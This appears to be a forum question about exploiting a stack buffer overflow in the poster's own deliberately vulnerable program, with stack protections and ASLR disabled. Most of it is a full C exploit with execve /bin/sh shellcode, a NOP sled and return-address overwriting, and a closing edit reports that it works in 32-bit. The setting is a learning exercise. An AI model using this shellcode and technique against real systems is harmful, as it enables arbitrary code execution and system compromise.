Stack overflow return addr

Question

I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy() to fill a 200 char buffer, without checking boundaries, and compiled with -z execstack and -fno-stack-protector. I have also disable kernel randomize_va_space.

First thing I do is opening gdb, I test for the correct lenght to overwrite the return addr, it is 222 so I wrote an exploit.c program as show:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

#define BUFF_SIZE 222

unsigned long get_sp(void){
    __asm__("mov %rsp, %rax");
}

int main(int argc, char *argv[]){
    if (argc != 2){
        printf("give one argument\n");
        exit(0);
    }
    long *addr_ptr, ret, esp;
    int offset, i;
    char *ptr, buffer[BUFF_SIZE];

    offset = atoi(argv[1]);
    esp = get_sp();
    ret = esp - offset;
    printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
    ptr = buffer;
    addr_ptr = (long*)(buffer);
    //Filling the buffer         
    for(i=0;i<BUFF_SIZE;i+=8){
        *(addr_ptr++) = ret;
    };
    for(i=0;i<BUFF_SIZE/2;i++){
        *(ptr+i) = '\x90';
    };
    for(i=0;i<strlen(shellcode);i++){
        *(ptr+i+16) = shellcode[i];
    };
    buffer[BUFF_SIZE-1] = '\x0';

    execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};

This sends the exploit to my "buffer_vuln" program ; I fill the buffer with ret (that is modified by an offset), and a NOP sled leading to the shellcode. I didn't get any result from trying this even on a long offset range (-250, 3000). The targeted program prints out the address and content of its array, everything seems right but that I cannot see the return addresses printed after the NOPs, wonder where this fails to open a shell.

-Edit-

I switched to 32bits so the stack address doesn't contain any Zero. I also compiled the shellcode and made sure it worked on it's own. Exploit works ! Going to try for amd64 now, Thanks !